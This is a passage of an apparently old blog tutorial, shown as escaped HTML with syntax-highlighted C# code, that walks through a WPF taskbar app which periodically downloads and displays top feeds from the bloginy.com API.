#f3f3f3;"&gt;{&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: grey;"&gt;///&lt;/span&gt;&lt;span style="color: green;"&gt; &lt;/span&gt;&lt;span style="color: grey;"&gt;&amp;lt;summary&amp;gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: grey;"&gt;///&lt;/span&gt;&lt;span style="color: green;"&gt; Interaction logic for MainWindow.xaml&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: grey;"&gt;///&lt;/span&gt;&lt;span style="color: green;"&gt; &lt;/span&gt;&lt;span style="color: grey;"&gt;&amp;lt;/summary&amp;gt;&lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;public&lt;/span&gt; &lt;span style="color: blue;"&gt;partial&lt;/span&gt; &lt;span style="color: blue;"&gt;class&lt;/span&gt; &lt;span style="color: #2b91af;"&gt;MainWindow&lt;/span&gt; : &lt;span style="color: #2b91af;"&gt;Window&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: #2b91af;"&gt;List&lt;/span&gt;&amp;lt;&lt;span style="color: #2b91af;"&gt;Feed&lt;/span&gt;&amp;gt; feeds;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;int&lt;/span&gt; currentFeed;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;private&lt;/span&gt; &lt;span style="color: #2b91af;"&gt;DispatcherTimer&lt;/span&gt; timer;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;On the &lt;strong&gt;Window_Loaded&lt;/strong&gt; event, we hide the window so that it will be shown only in the Taskbar and not the desktop by setting its Left property to –5000, then we mark all the buttons disabled, we initialize the timer to tick every 30 seconds and we call &lt;strong&gt;LoadFeeds&lt;/strong&gt; to download the feeds asynchronously.&lt;br /&gt;&lt;div class="wlWriterEditableSmartContent" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:fc7fc3ef-f7ee-4997-ab08-79273f2360fd" style="display: inline; float: none; margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="border: #000080 1px solid; color: black; font-family: 'Courier New', Courier, Monospace; font-size: 10pt;"&gt;&lt;div style="background: #ddd; max-height: 400px; overflow: auto;"&gt;&lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px; white-space: nowrap;"&gt;&lt;li&gt;&lt;span style="color: blue;"&gt;private&lt;/span&gt; &lt;span style="color: blue;"&gt;void&lt;/span&gt; Window_Loaded(&lt;span style="color: blue;"&gt;object&lt;/span&gt; sender, &lt;span style="color: #2b91af;"&gt;RoutedEventArgs&lt;/span&gt; e)&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;this&lt;/span&gt;.Left = -&lt;span style="color: brown;"&gt;5000&lt;/span&gt;;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;currentFeed = &lt;span style="color: brown;"&gt;0&lt;/span&gt;;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;browseFeed.IsEnabled = &lt;span style="color: blue;"&gt;false&lt;/span&gt;;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next.IsEnabled = &lt;span style="color: blue;"&gt;false&lt;/span&gt;;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;previous.IsEnabled = &lt;span style="color: blue;"&gt;false&lt;/span&gt;;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LoadFeeds(&lt;span style="color: #a31515;"&gt;"http://www.bloginy.com/api/topFeeds/7RaLaXvDsZhBcYhS/bloginto"&lt;/span&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;timer = &lt;span style="color: blue;"&gt;new&lt;/span&gt; &lt;span style="color: #2b91af;"&gt;DispatcherTimer&lt;/span&gt;();&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;timer.Interval = &lt;span style="color: #2b91af;"&gt;TimeSpan&lt;/span&gt;.FromSeconds(&lt;span style="color: brown;"&gt;30&lt;/span&gt;);&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;timer.Tick += timer_Tick;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;timer.Start();&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;The &lt;strong&gt;timer_Tick&lt;/strong&gt; method just disables the navigation buttons and calls &lt;strong&gt;LoadFeeds&lt;/strong&gt;&lt;br /&gt;&lt;div class="wlWriterEditableSmartContent" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:f51570bf-b0cf-4adb-9f78-a119d2f42ec9" style="display: inline; float: none; margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="border: #000080 1px solid; color: black; font-family: 'Courier New', Courier, Monospace; font-size: 10pt;"&gt;&lt;div style="background: #ddd; max-height: 400px; overflow: auto;"&gt;&lt;ol style="background: #ffffff; margin: 0 0 0 2em; padding: 0 0 0 5px; white-space: nowrap;"&gt;&lt;li&gt;&lt;span style="color: blue;"&gt;private&lt;/span&gt; &lt;span style="color: blue;"&gt;void&lt;/span&gt; timer_Tick(&lt;span style="color: blue;"&gt;object&lt;/span&gt; sender, &lt;span style="color: #2b91af;"&gt;EventArgs&lt;/span&gt; e)&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;{&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next.IsEnabled = &lt;span style="color: blue;"&gt;false&lt;/span&gt;;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;browseFeed.IsEnabled = &lt;span style="color: blue;"&gt;false&lt;/span&gt;;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;previous.IsEnabled = &lt;span style="color: blue;"&gt;false&lt;/span&gt;;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LoadFeeds(&lt;span style="color: #a31515;"&gt;"http://www.bloginy.com/api/topFeeds/7RaLaXvDsZhBcYhS/bloginto"&lt;/span&gt;);&lt;/li&gt;&lt;li&gt;}&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Then we handle the code for navigating between the feeds and when the browse button is clicked&lt;br /&gt;&lt;div class="wlWriterEditableSmartContent" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:894a464f-c04f-4450-b889-c6b1a5cbca88" style="display: inline; float: none; margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="border: #000080 1px solid; color: black; font-family: 'Courier New', Courier, Monospace; font-size: 10pt;"&gt;&lt;div style="background: #ddd; max-height: 400px; overflow: auto;"&gt;&lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px; white-space: nowrap;"&gt;&lt;li&gt;&lt;span style="color: blue;"&gt;private&lt;/span&gt; &lt;span style="color: blue;"&gt;void&lt;/span&gt; next_Click(&lt;span style="color: blue;"&gt;object&lt;/span&gt; sender, &lt;span style="color: #2b91af;"&gt;EventArgs&lt;/span&gt; e)&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;{&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;currentFeed++;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;UpdateUI();&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;if&lt;/span&gt; (currentFeed &amp;gt;= feeds.Count -&lt;span style="color: brown;"&gt;1&lt;/span&gt;)&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next.IsEnabled = &lt;span style="color: blue;"&gt;false&lt;/span&gt;;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;else&lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;previous.IsEnabled = &lt;span style="color: blue;"&gt;true&lt;/span&gt;;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;}&lt;/li&gt;&lt;li&gt;&amp;nbsp;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;private&lt;/span&gt; &lt;span style="color: blue;"&gt;void&lt;/span&gt; previous_Click(&lt;span style="color: blue;"&gt;object&lt;/span&gt; sender, &lt;span style="color: #2b91af;"&gt;EventArgs&lt;/span&gt; e)&lt;/li&gt;&lt;li&gt;{&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;currentFeed--;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;UpdateUI();&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;if&lt;/span&gt; (currentFeed &amp;lt; &lt;span style="color: brown;"&gt;1&lt;/span&gt;)&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;previous.IsEnabled = &lt;span style="color: blue;"&gt;false&lt;/span&gt;;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;next.IsEnabled = &lt;span style="color: blue;"&gt;true&lt;/span&gt;;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;}&lt;/li&gt;&lt;li&gt;&amp;nbsp;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;private&lt;/span&gt; &lt;span style="color: blue;"&gt;void&lt;/span&gt; browseFeed_Click(&lt;span style="color: blue;"&gt;object&lt;/span&gt; sender, &lt;span style="color: #2b91af;"&gt;EventArgs&lt;/span&gt; e)&lt;/li&gt;&lt;li&gt;{&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;string&lt;/span&gt; url = &lt;span style="color: #a31515;"&gt;"http://www.bloginy.com"&lt;/span&gt; + feeds[currentFeed].Link;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;System.Diagnostics.&lt;span style="color: #2b91af;"&gt;Process&lt;/span&gt;.Start(url);&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;}&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;The function &lt;strong&gt;GetFeeds&lt;/strong&gt; takes an XML string and decodes it to a &lt;strong&gt;List&amp;lt;Feed&amp;gt;&lt;/strong&gt; using Linq (so pretty)&lt;br /&gt;&lt;div class="wlWriterEditableSmartContent" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:15f71af0-b395-40c7-bd49-5c1734796b63" style="display: inline; float: none; margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="border: #000080 1px solid; color: black; font-family: 'Courier New', Courier, Monospace; font-size: 10pt;"&gt;&lt;div style="background: #ddd; max-height: 400px; overflow: auto;"&gt;&lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px; white-space: nowrap;"&gt;&lt;li&gt;&lt;span style="color: blue;"&gt;private&lt;/span&gt; &lt;span style="color: #2b91af;"&gt;List&lt;/span&gt;&amp;lt;&lt;span style="color: #2b91af;"&gt;Feed&lt;/span&gt;&amp;gt; GetFeeds(&lt;span style="color: blue;"&gt;string&lt;/span&gt; xml)&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: #2b91af;"&gt;XDocument&lt;/span&gt; feeds = &lt;span style="color: #2b91af;"&gt;XDocument&lt;/span&gt;.Parse(xml);&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;var&lt;/span&gt; result = feeds.Descendants(&lt;span style="color: #a31515;"&gt;"feed"&lt;/span&gt;)&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.Select((f, index) =&amp;gt; &lt;span style="color: blue;"&gt;new&lt;/span&gt; &lt;span style="color: #2b91af;"&gt;Feed&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Title = f.Element(&lt;span style="color: #a31515;"&gt;"title"&lt;/span&gt;).Value.Replace(&lt;span style="color: #a31515;"&gt;"\n"&lt;/span&gt;, &lt;span style="color: #a31515;"&gt;""&lt;/span&gt;),&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Link = f.Element(&lt;span style="color: #a31515;"&gt;"link"&lt;/span&gt;).Value.Replace(&lt;span style="color: #a31515;"&gt;"\n"&lt;/span&gt;, &lt;span style="color: #a31515;"&gt;""&lt;/span&gt;),&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PubDate = f.Element(&lt;span style="color: #a31515;"&gt;"pubdate"&lt;/span&gt;).Value.Replace(&lt;span style="color: #a31515;"&gt;"\n"&lt;/span&gt;, &lt;span style="color: #a31515;"&gt;""&lt;/span&gt;),&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Author = f.Element(&lt;span style="color: #a31515;"&gt;"author"&lt;/span&gt;).Value.Replace(&lt;span style="color: #a31515;"&gt;"\n"&lt;/span&gt;, &lt;span style="color: #a31515;"&gt;""&lt;/span&gt;),&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Description = f.Element(&lt;span style="color: #a31515;"&gt;"description"&lt;/span&gt;).Value.Replace(&lt;span style="color: #a31515;"&gt;"\n"&lt;/span&gt;, &lt;span style="color: #a31515;"&gt;""&lt;/span&gt;),&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Votes = f.Element(&lt;span style="color: #a31515;"&gt;"votes"&lt;/span&gt;).Value.Replace(&lt;span style="color: #a31515;"&gt;"\n"&lt;/span&gt;, &lt;span style="color: #a31515;"&gt;""&lt;/span&gt;),&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Id = index&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;});&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;return&lt;/span&gt; result.ToList();&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;The &lt;strong&gt;UpdateUI&lt;/strong&gt; method refreshes the UI to show the current feed designed by the global variable &lt;strong&gt;currentFeed, ResetUI &lt;/strong&gt;clears any UI on the interface&lt;br /&gt;&lt;div class="wlWriterEditableSmartContent" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:d3d8fce8-3f4a-437b-b116-2bd378348969" style="display: inline; float: none; margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="border: #000080 1px solid; color: black; font-family: 'Courier New', Courier, Monospace; font-size: 10pt;"&gt;&lt;div style="background: #ddd; max-height: 400px; overflow: auto;"&gt;&lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px; white-space: nowrap;"&gt;&lt;li&gt;&lt;span style="color: blue;"&gt;void&lt;/span&gt; UpdateUI()&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;{&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: #2b91af;"&gt;Feed&lt;/span&gt; feed = feeds[currentFeed];&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FeedTitle.Text = feed.Title;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FeedAuthor.Text = &lt;span style="color: #a31515;"&gt;"By: "&lt;/span&gt; + feed.Author;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FeedDescription.Text = feed.Description;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FeedDate.Text = feed.PubDate;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FeedVotes.Text = feed.Votes;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FeedRank.Text = (feed.Id + &lt;span style="color: brown;"&gt;1&lt;/span&gt;).ToString() + &lt;span style="color: #a31515;"&gt;"/"&lt;/span&gt; + (feeds.Count).ToString();&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;}&lt;/li&gt;&lt;li&gt;&amp;nbsp;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&lt;span style="color: blue;"&gt;void&lt;/span&gt; ResetUI()&lt;/li&gt;&lt;li&gt;{&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FeedTitle.Text = &lt;span style="color: #a31515;"&gt;""&lt;/span&gt;;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FeedAuthor.Text = &lt;span style="color: #a31515;"&gt;""&lt;/span&gt;;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FeedDescription.Text = &lt;span style="color: #a31515;"&gt;""&lt;/span&gt;;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FeedDate.Text = &lt;span style="color: #a31515;"&gt;""&lt;/span&gt;;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FeedVotes.Text = &lt;span style="color: #a31515;"&gt;""&lt;/span&gt;;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FeedRank.Text = &lt;span style="color: #a31515;"&gt;""&lt;/span&gt;;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;}&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;The most important method is &lt;strong&gt;LoadFeeds&lt;/strong&gt; which uses the &lt;strong&gt;WebClient&lt;/strong&gt; class to load the XML feeds asynchronously, first it changes the &lt;strong&gt;ProgressBar&lt;/strong&gt; status so that it indicates that the application is requesting new feeds from the web.&lt;br /&gt;Then it initializes a &lt;strong&gt;WebClient&lt;/strong&gt; object and attaching its &lt;strong&gt;DownloadDataCompleted&lt;/strong&gt; and &lt;strong&gt;DownloadProgressChanged&lt;/strong&gt; to 2 methods that handles the received XML asynchronously. &lt;strong&gt;client_DownloadProgressChanged&lt;/strong&gt; is called when the &lt;strong&gt;WebClient&lt;/strong&gt; is receiving data, 